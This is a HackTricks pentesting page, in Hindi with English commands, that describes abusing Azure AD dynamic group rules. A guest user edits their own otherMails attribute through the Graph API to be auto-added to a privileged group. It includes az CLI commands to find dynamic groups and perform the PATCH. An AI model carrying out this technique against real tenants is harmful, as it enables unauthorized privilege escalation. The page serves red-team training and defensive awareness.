Az - Dynamic Groups Privesc

Reading time: 3 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Basic Information

डायनामिक समूह वे समूह हैं जिनमें एक सेट नियम कॉन्फ़िगर किया गया है और सभी उपयोगकर्ता या उपकरण जो नियमों से मेल खाते हैं, समूह में जोड़े जाते हैं। हर बार जब एक उपयोगकर्ता या उपकरण का गुण बदला जाता है, डायनामिक नियमों की पुनः जांच की जाती है। और जब एक नया नियम बनाया जाता है, तो सभी उपकरणों और उपयोगकर्ताओं की जांच की जाती है।

डायनामिक समूहों को Azure RBAC भूमिकाएँ सौंपित की जा सकती हैं, लेकिन डायनामिक समूहों में AzureAD भूमिकाएँ जोड़ना संभव नहीं है।

इस सुविधा के लिए Azure AD प्रीमियम P1 लाइसेंस की आवश्यकता होती है।

Privesc

ध्यान दें कि डिफ़ॉल्ट रूप से कोई भी उपयोगकर्ता Azure AD में मेहमानों को आमंत्रित कर सकता है, इसलिए, यदि एक डायनामिक समूह का नियम उपयोगकर्ताओं को अनुमतियाँ देता है जो गुणों के आधार पर हैं जो एक नए मेहमान में सेट किए जा सकते हैं, तो इस गुणों के साथ एक मेहमान बनाना संभव है और अधिकार बढ़ाना संभव है। यह भी संभव है कि एक मेहमान अपने प्रोफ़ाइल का प्रबंधन करे और इन गुणों को बदल सके।

डायनामिक सदस्यता की अनुमति देने वाले समूह प्राप्त करें: az ad group list --query "[?contains(groupTypes, 'DynamicMembership')]" --output table

Example

  • नियम उदाहरण: (user.otherMails -any (_ -contains "security")) -and (user.userType -eq "guest")
  • नियम विवरण: कोई भी मेहमान उपयोगकर्ता जिसके पास 'security' स्ट्रिंग वाला एक द्वितीयक ईमेल है, समूह में जोड़ा जाएगा

मेहमान उपयोगकर्ता ईमेल के लिए, निमंत्रण स्वीकार करें और https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView में उस उपयोगकर्ता की वर्तमान सेटिंग्स की जांच करें।
दुर्भाग्यवश, पृष्ठ गुण मानों को संशोधित करने की अनुमति नहीं देता है, इसलिए हमें API का उपयोग करने की आवश्यकता है:

bash
# Login with the gust user
az login --allow-no-subscriptions

# Get user object ID
az ad signed-in-user show

# Update otherMails
az rest --method PATCH \
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
--headers 'Content-Type=application/json' \
--body '{"otherMails": ["newemail@example.com", "anotheremail@example.com"]}'

# Verify the update
az rest --method GET \
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
--query "otherMails"

References

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें